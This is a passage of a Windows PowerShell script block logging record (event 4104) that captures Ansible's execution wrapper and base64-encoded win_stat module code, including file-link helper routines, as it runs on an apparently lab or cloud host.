YXQubG5rX3R5cGUgPSAiaGFyZCIKICAgICAgICAgICAgICAgICRzdGF0Lm5saW5rID0gJGxpbmtfaW5mby5IYXJkVGFyZ2V0cy5Db3VudAoKICAgICAgICAgICAgICAgICMgcmVtb3ZlIGN1cnJlbnQgcGF0aCBmcm9tIHRoZSB0YXJnZXRzCiAgICAgICAgICAgICAgICAkaGxua190YXJnZXRzID0gJGxpbmtfaW5mby5IYXJkVGFyZ2V0cyB8IFdoZXJlLU9iamVjdCB7ICRfIC1uZSAkc3RhdC5wYXRoIH0KICAgICAgICAgICAgICAgICRzdGF0LmhsbmtfdGFyZ2V0cyA9IEAoJGhsbmtfdGFyZ2V0cykKICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgJHJlc3VsdC5zdGF0ID0gJHN0YXQKfQoKRXhpdC1Kc29uICRyZXN1bHQK", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_stat", "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_verbosity": 2, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_check_mode": false, "get_checksum": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "path": "c:\\openstack\\log\\neutron-ovs-agent.log", "get_md5": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: cbd14a3c-5f64-4f98-8d4e-6f7cee2fc98b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2155 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 3856 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:59 AM | 61e00a24-ee3b-0005-8f0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 5):
pGdW5jdGlvbiBBZGQtV2FybmluZygkb2JqLCAkbWVzc2FnZSkKewo8IwogICAgLlNZTk9QU0lTCiAgICBIZWxwZXIgZnVuY3Rpb24gdG8gYWRkIHdhcm5pbmdzLCBldmVuIGlmIHRoZSB3YXJuaW5ncyBhdHRyaWJ1dGUgd2FzCiAgICBub3QgYWxyZWFkeSBzZXQgdXAuIFRoaXMgaXMgYSBjb252ZW5pZW5jZSBmb3IgdGhlIG1vZHVsZSBkZXZlbG9wZXIKICAgIHNvIHRoZXkgZG8gbm90IGhhdmUgdG8gY2hlY2sgZm9yIHRoZSBhdHRyaWJ1dGUgcHJpb3IgdG8gYWRkaW5nLgojPgoKICAgIGlmICgtbm90ICRvYmouQ29udGFpbnNLZXkoIndhcm5pbmdzIikpIHsKICAgICAgICAkb2JqLndhcm5pbmdzID0gQCgpCiAgICB9IGVsc2VpZiAoJG9iai53YXJuaW5ncyAtaXNub3QgW2FycmF5XSkgewogICAgICAgIHRocm93ICJBZGQtV2FybmluZzogd2FybmluZ3MgYXR0cmlidXRlIGlzIG5vdCBhbiBhcnJheSIKICAgIH0KCiAgICAkb2JqLndhcm5pbmdzICs9ICRtZXNzYWdlCn0KCkZ1bmN0aW9uIEFkZC1EZXByZWNhdGlvbldhcm5pbmcoJG9iaiwgJG1lc3NhZ2UsICR2ZXJzaW9uID0gJG51bGwpCnsKPCMKICAgIC5TWU5PUFNJUwogICAgSGVscGVyIGZ1bmN0aW9uIHRvIGFkZCBkZXByZWNhdGlvbnMsIGV2ZW4gaWYgdGhlIGRlcHJlY2F0aW9ucyBhdHRyaWJ1dGUgd2FzCiAgICBub3QgYWxyZWFkeSBzZXQgdXAuIFRoaXMgaXMgYSBjb252ZW5pZW5jZSBmb3IgdGhlIG1vZ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GhlIGRlZmF1bHQuCiAgICB0cnkgewoKICAgICAgICAkZm91bmQgPSAkbnVsbAogICAgICAgICMgRmlyc3QgdHJ5IHRvIGZpbmQgcHJlZmVycmVkIHBhcmFtZXRlciAkbmFtZQogICAgICAgICRhbGlhc2VzID0gQCgkbmFtZSkgKyAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCI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gICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8g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0ZW0gLVBhdGggJHBhdGggLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUKSWYgKCRpbmZvIC1uZSAkbnVsbCkgewogICAgJGVwb2NoX2RhdGUgPSBHZXQtRGF0ZSAtRGF0ZSAiMDEvMDEvMTk3MCIKICAgICRhdHRyaWJ1dGVzID0gQCgpCiAgICBmb3JlYWNoICgkYXR0cmlidXRlIGluICgkaW5mby5BdHRyaWJ1dGVzIC1zcGxpdCAnLCcpKSB7CiAgICAgICAgJGF0dHJpYnV0ZXMgKz0gJGF0dHJpYnV0ZS5UcmltKCkKICAgIH0KCiAgICAjIGRlZmF1bHQgdmFsdWVzIHRoYXQgYXJlIGFsd2F5cyBzZXQsIHNwZWNpZmljIHZhbHVlcyBhcmUgc2V0IGJlbG93IHRoaXMKICAgICMgYnV0IGFyZSBrZXB0IGNvbW1lbnRlZCBmb3IgZWFzaWVyIHJlYWRhYmlsaXR5CiAgICAkc3RhdCA9IEB7CiAgICAgICAgZXhpc3RzID0gJHRydWUKICAgICAgICBhdHRyaWJ1dGVzID0gJGluZm8uQXR0cmlidXRlcy5Ub1N0cmluZygpCiAgICAgICAgaXNhcmNoaXZlID0gKCRhdHRyaWJ1dGVzIC1jb250YWlucyAiQXJjaGl2ZSIpCiAgICAgICAgaXNkaXIgPSAkZmFsc2UKICAgICAgICBpc2hpZGRlbiA9ICgkYXR0cmlidXRlcyAtY29udGFpbnMgIkhpZGRlbiIpCiAgICAgICAgaXNqdW5jdGlvbiA9ICRmYWxzZQogICAgICAgIGlzbG5rID0gJGZhbHNlCiAgICAgICAgaXNyZWFkb25seSA9ICgkYXR0cmlidXRlcyAtY29udGFpbn
ScriptBlock ID: cbd14a3c-5f64-4f98-8d4e-6f7cee2fc98b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2154 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 3856 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:59 AM | 61e00a24-ee3b-0005-8f0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 5):
vcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIFJlbW92ZURpcmVjdG9yeSgKICAgICAgICAgICAgc3RyaW5nIGxwUGF0aE5hbWUpOwoKICAgICAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvKV0KICAgICAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gYm9vbCBEZWxldGVGaWxlKAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIENyZWF0ZVN5bWJvbGljTGluaygKICAgICAgICAgICAgc3RyaW5nIGxwU3ltbGlua0ZpbGVOYW1lLAogICAgICAgICAgICBzdHJpbmcgbHBUYXJnZXRGaWxlTmFtZSwKICAgICAgICAgICAgVUludDMyIGR3RmxhZ3MpOwoKICAgICAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvKV0KICAgICAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVIYXJkTGluaygKICAgICAgICAgICAgc3RyaW5nIGxwRmlsZU5hbWUsCiAgICAgICAgICAgIHN0cmluZyBscEV4aXN0aW5nRmlsZU5hbWUsCiAgICAgICAgICAgIEludFB0ciBscFNlY3VyaXR5QXR0cmlidXRlcyk7CgogICAgICAgIHB1YmxpYyBzdGF0aWMgTGlua0luZm8gR2V0TGlua0luZm8oc3RyaW5nIGxpbmtQYXRoKQogICAgICAgIHsKICAgICAgICAgICAgRmlsZUF0dHJpYnV0ZXMgYXR0ciA9IEZpbGUuR2V0QXR0cmlidXRlcyhsaW5rUGF0aCk7CiAgICAgICAgICAgIGlmIChhdHRyLkhhc0ZsYWcoRmlsZUF0dHJpYnV0ZXMuUmVwYXJzZVBvaW50KSkKICAgICAgICAgICAgICAgIHJldHVybiBHZXRSZXBhcnNlUG9pbnRJbmZvKGxpbmtQYXRoKTsKCiAgICAgICAgICAgIGlmICghYXR0ci5IYXNGbGFnKEZpbGVBdHRyaWJ1dGVzLkRpcmVjdG9yeSkpCiAgICAgICAgICAgICAgICByZXR1cm4gR2V0SGFyZExpbmtJbmZvKGxpbmtQYXRoKTsKCiAgICAgICAgICAgIHJldHVybiBudWxsOwogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIERlbGV0ZUxpbmsoc3RyaW5nIGxpbmtQYXRoKQogICAgICAgIHsKICAgICAgICAgICAgYm9vbCBzdWNjZXNzOwogICAgICAgICAgICBGaWxlQXR0cmlidXRlcyBhdHRyID0gRmlsZS5HZXRBdHRyaWJ1dGVzKGxpbmtQYXRoKTsKICAgICAgICAgICAgaWYgKGF0dHIuSGFzRmxhZyhGaWxlQXR0cmlidXRlcy5EaXJlY3RvcnkpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzdWNjZXNzID0gUmVtb3ZlRGlyZWN0b3J5KGxpbmtQYXRoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHN1Y2Nlc3MgPSBEZWxldGVGaWxlKGxpbmtQYXRoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKCFzdWNjZXNzKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IExpbmtVdGlsV2luMzJFeGNlcHRpb24oU3RyaW5nLkZvcm1hdCgiRmFpbGVkIHRvIGRlbGV0ZSBsaW5rIGF0IHswfSIsIGxpbmtQYXRoKSk7CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgQ3JlYXRlTGluayhzdHJpbmcgbGlua1BhdGgsIFN0cmluZyBsaW5rVGFyZ2V0LCBMaW5rVHlwZSBsaW5rVHlwZSkKICAgICAgICB7CiAgICAgICAgICAgIHN3aXRjaCAobGlua1R5cGUpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgTGlua1R5cGUuU3ltYm9saWNMaW5rOgogICAgICAgICAgICAgICAgICAgIFVJbnQzMiBsaW5rRmxhZ3M7CiAgICAgICAgICAgICAgICAgICAgRmlsZUF0dHJpYnV0ZXMgYXR0ciA9IEZpbGUuR2V0QXR0cmlidXRlcyhsaW5rVGFyZ2V0KTsKICAgICAgICAgICAgICAgICAgICBpZiAoYXR0ci5IYXNGbGFnKEZpbGVBdHRyaWJ1dGVzLkRpcmVjdG9yeSkpCiAgICAgICAgICAgICAgICAgICAgICAgIGxpbmtGbGFncyA9IFNZTUJPTElDX0xJTktfRkxBR19ESVJFQ1RPUlk7CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICBsaW5rRmxhZ3MgPSBTWU1CT0xJQ19MSU5LX0ZMQUdfRklMRTsKCiAgICAgICAgICAgICAgICAgICAgaWYgKCFDcmVhdGVTeW1ib2xpY0xpbmsobGlua1BhdGgsIGxpbmtUYXJnZXQsIGxpbmtGbGFncykpCiAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBMaW5rVXRpbFdpbjMyRXhjZXB0aW9uKFN0cmluZy5Gb3JtYXQoIkNyZWF0ZVN5bWJvbGljTGluayh7MH0sIHsxfSwgezJ9KSBmYWlsZWQiLCBsaW5rUGF0aCwgbGlua1RhcmdldCwgbGlua0ZsYWdzKSk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIExpbmtUeXBlLkp1bmN0aW9uUG9pbnQ6CiAgICAgICAgICAgICAgICAgICAgQ3JlYXRlSnVuY3Rpb25Qb2ludChsaW5rUGF0aCwgbGlua1RhcmdldCk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIExpbmtUeXBlLkhhcmRMaW5rOgogICAgICAgICAgICAgICAgICAgIGlmICghQ3JlYXRlSGFyZExpbmsobGlua1BhdGgsIGxpbmtUYXJnZXQsIEludFB0ci5aZXJvKSkKICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IExpbmtVdGlsV2luMzJFeGNlcHRpb24oU3RyaW5nLkZvcm1hdCgiQ3JlYXRlSGFyZExpbmsoezB9LCB7MX0pIGZhaWxlZCIsIGxpbmtQYXRoLCBsaW5rVGFyZ2V0KSk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHByaXZhdGUgc3RhdGljIExpbmtJbmZvIEdldEhhcmRMaW5rSW5mbyhzdHJpbmcgbGlua1BhdGgpCiAgICAgICAgewogICAgICAgICAgICBVSW50MzIgbWF4UGF0aCA9IDI2MDsKICAgICAgICAgICAgTGlzdDxzdHJpbmc+IHJlc3VsdCA9IG5ldyBMaXN0PHN0cmluZz4oKTsKCiAgICAgICAgICAgIFN0cmluZ0J1aWxkZXIgc2IgPSBuZXcgU3RyaW5nQnVpbGRlcigoaW50KW1heFBhdGgpOwogICAgICAgICAgICBVSW50MzIgc3RyaW5nTGVuZ3RoID0gbWF4UGF0aDsKICAgICAgICAgICAgaWYgKCFHZXRWb2x1bWVQYXRoTmFtZShsaW5rUGF0aCwgc2IsIHJlZiBzdHJpbmdMZW5ndGgpKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IExpbmtVdGlsV2luMzJFeGNlcHRpb24oIkdldFZvbHVtZVBhdGhOYW1lKCkgZmFpbGVkIik7CiAgICAgICAgICAgIHN0cmluZyB2b2x1bWUgPSBzYi5Ub1N0cmluZygpOwoKICAgICAgICAgICAgc3RyaW5nTGVuZ3RoID0gbWF4UGF0aDsKICAgICAgICAgICAgSW50UHRyIGZpbmRIYW5kbGUgPSBGaW5kRmlyc3RGaWxlTmFtZVcobGlua1BhdGgsIDAsIHJlZiBzdHJpbmdMZW5ndGgsIHNiKTsKICAgICAgICAgICAgaWYgKGZpbmRIYW5kbGUuVG9JbnQ2NCgpICE9IElOVkFMSURfSEFORExFX1ZBTFVFKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB0cnkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBkbwogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGhhcmRMaW5rUGF0aCA9IHNiLlRvU3RyaW5nKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChoYXJkTGlua1BhdGguU3RhcnRzV2l0aCgiXFwiKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhhcmRMaW5rUGF0aCA9IGhhcmRMaW5rUGF0aC5TdWJzdHJpbmcoMSwgaGFyZExpbmtQYXRoLkxlbmd0aCAtIDEpOwoKICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0LkFkZChQYXRoLkNvbWJpbmUodm9sdW1lLCBoYXJkTGlua1BhdGgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nTGVuZ3RoID0gbWF4UGF0aDsKCiAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoRmluZE5leHRGaWxlTmFtZVcoZmluZEhhbmRsZSwgcmVmIHN0cmluZ0xlbmd0aCwgc2IpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZpbmFsbHkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBGaW5kQ2xvc2UoZmluZEhhbmRsZSk7CiAgICAgICAgICAgICAgICB9ICAgICAgICAgICAgICAgIAogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAocmVzdWx0LkNvdW50ID4gMSkKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgTGlua0luZm8KICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBUeXBlID0gTGlua1R5cGUuSGFyZExpbmssCiAgICAgICAgICAgICAgICAgICAgSGFyZFRhcmdldHMgPSByZXN1bHQuVG9BcnJheSgpCiAgICAgICAgICAgICAgICB9OwoKICAgICAgICAgICAgcmV0dXJuIG51bGw7CiAgICAgICAgfQoKICAgICAgICBwcml2YXRlIHN0YXRpYyBMaW5rSW5mbyBHZXRSZXBhcnNlUG9pbnRJbmZvKHN0cmluZyBsaW5rUGF0aCkKICAgICAgICB7CiAgICAgICAgICAgIFNhZmVGaWxlSGFuZGxlIGZpbGVIYW5kbGUgPSBDcmVhdGVGaWxlKAogICAgICAgICAgICAgICAgbGlua1BhdGgsCiAgICAgICAgICAgICAgICBGaWxlQWNjZXNzLlJlYWQsCiAgICAgICAgICAgICAgICBGaWxlU2hhcmUuTm9uZSwKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgRmlsZU1vZGUuT3BlbiwKICAgICAgICAgICAgICAgIEZJTEVfRkxBR19PUEVOX1JFUEFSU0VfUE9JTlQgfCBGSUxFX0ZMQUdfQkFDS1VQX1NFTUFOVElDUywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvKTsKCiAgICAgICAgICAgIGlmIChmaWxlSGFuZGxlLklzSW52YWxpZCkKICAgICAgICAgICAgICAgIHRocm93IG5ldyBMaW5rVXRpbFdpbjMyRXhjZXB0aW9uKFN0cmluZy5Gb3JtYXQoIkNyZWF0ZUZpbGUoezB9KSBmYWlsZWQiLCBsaW5rUGF0aCkpOyAgICAgICAgICAgIAoKICAgICAgICAgICAgUkVQQVJTRV9EQVRBX0JVRkZFUiBidWZmZXIgPSBuZXcgUkVQQVJTRV9EQVRBX0JVRkZFUigpOwogICAgICAgICAgICBVSW50MzIgYnl0ZXNSZXR1cm5lZDsKICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGlmICghRGV2aWNlSW9Db250cm9sKAogICAgICAgICAgICAgICAgICAgIGZpbGVIYW5kbGUsCiAgICAgICAgICAgICAgICAgICAgRlNDVExfR0VUX1JFUEFSU0VfUE9JTlQsCiAgICAgICAgICAgICAgICAgICAgSW50UHRyLlplcm8sCiAgICAgICAgICAgICAgICAgICAgMCwKICAgICAgICAgICAgICAgICAgICBvdXQgYnVmZmVyLAogICAgICAgICAgICAgICAgICAgIE1BWElNVU1fUkVQQVJTRV9EQVRBX0JVRkZFUl9TSVpFLAogICAgICAgICAgICAgICAgICAgIG91dCBieXRlc1JldHVybmVkLAogICAgICAgICAgICAgICAgICAgIEludFB0ci5aZXJvKSkKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgTGlua1V0aWxXaW4zMkV4Y2VwdGlvbihTdHJpbmcuRm9ybWF0KCJEZXZpY2VJb0NvbnRyb2woKSBmYWlsZWQgZm9yIGZpbGUgYXQgezB9IiwgbGlua1BhdGgpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGZpbGVIYW5kbGUuRGlzcG9zZSgpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBib29sIGlzUmVsYXRpdmUgPSBmYWxzZTsKICAgICAgICAgICAgaW50IHBhdGhPZmZzZXQgPSAwOwogICAgICAgICAgICBMaW5rVHlwZSBsaW5rVHlwZTsKICAgICAgICAgICAgaWYgKGJ1ZmZlci5SZXBhcnNlVGFnID09IElPX1JFUEFSU0VfVEFHX1NZTUxJTkspCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFVJbnQzMiBidWZmZXJGbGFncyA9IENvbnZlcnQuVG9VSW50MzIoYnVmZmVyLlBhdGhCdWZmZXJbMF0pICsgQ29udmVydC5Ub1VJbnQzMihidWZmZXIuUGF0aEJ1ZmZlclsxXSk7CiAgICAgICAgICAgICAgICBpZiAoYnVmZmVyRmxhZ3MgPT0gU1lNTElOS19GTEFHX1JFTEFUSVZFKQogICAgICAgICAgICAgICAgICAgIGlzUmVsYXRpdmUgPSB0cnVlOwogICAgICAgICAgICAgICAgcGF0aE9mZnNldCA9IDI7CiAgICAgICAgICAgICAgICBsaW5rVHlwZSA9IExpbmtUeXBlLlN5bWJvbGljTGluazsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIGlmIChidWZmZXIuUmVwYXJzZVRhZyA9PSBJT19SRVBBUlNFX1RBR19NT1VOVF9QT0lOVCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgbGlua1R5cGUgPSBMaW5rVHlwZS5KdW5jdGlvblBvaW50OwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc3RyaW5nIGVycm9yTWVzc2FnZSA9IFN0cmluZy5Gb3JtYXQoIkludmFsaWQgUmVwYXJzZSBUYWc6IHswfSIsIGJ1ZmZlci5SZXBhcnNlVGFnLlRvU3RyaW5nKCkpOwogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbihlcnJvck1lc3NhZ2UpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBzdHJpbmcgcHJpbnROYW1lID0gbmV3IHN0cmluZyhidWZmZXIuUGF0aEJ1ZmZlciwgKGludCkoYnVmZmVyLlByaW50TmFtZU9mZnNldCAvIFNJWkVfT0ZfV0NIQVIpICsgcGF0aE9mZnNldCwgKG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W5rSW5mbwogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBUeXBlID0gbGlua1R5cGUsCiAgICAgICAgICAgICAgICBQcmludE5hbWUgPSBwcmludE5hbWUsCiAgICAgICAgICAgICAgICBTdWJzdGl0dXRlTmFtZSA9IHN1YnN0aXR1dGVOYW1lLAogICAgICAgICAgICAgICAgQWJzb2x1dGVQYXRoID0gYWJzb2x1dGVQYXRoLAogICAgICAgICAgICAgICAgVGFyZ2V0UGF0aCA9IHRhcmdldFBhdGgKICAgICAgICAgICAgfTsKICAgICAgICB9CgogICAgICAgIHByaXZhdGUgc3RhdGljIHZvaWQgQ3JlYXRlSnVuY3Rpb25Qb2ludChzdHJpbmcgbGlua1BhdGgsIHN0cmluZyBsaW5rVGFyZ2V0KQogICAgICAgIHsKICAgICAgICAgICAgLy8gV2UgbmVlZCB0byBjcmVhdGUgdGhlIGxpbmsgYXMgYSBkaXIgYmVmb3JlaGFuZAogICAgICAgICAgICBEaXJlY3RvcnkuQ3JlYXRlRGlyZWN0b3J5KGxpbmtQYXRoKTsKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgZmlsZUhhbmRsZSA9IENyZWF0ZUZpbGUoCiAgICAgICAgICAgICAgICBsaW5rUGF0aCwKICAgICAgICAgICAgICAgIEZpbGVBY2Nlc3MuV3JpdGUsCiAgICAgICAgICAgICAgICBGaWxlU2hhcmUuUmVhZCB8IEZpbGVTaGFyZS5Xcml0ZSB8IEZpbGVTaGFyZS5Ob25lLAogICAgICAgICAgICAgICAgSW50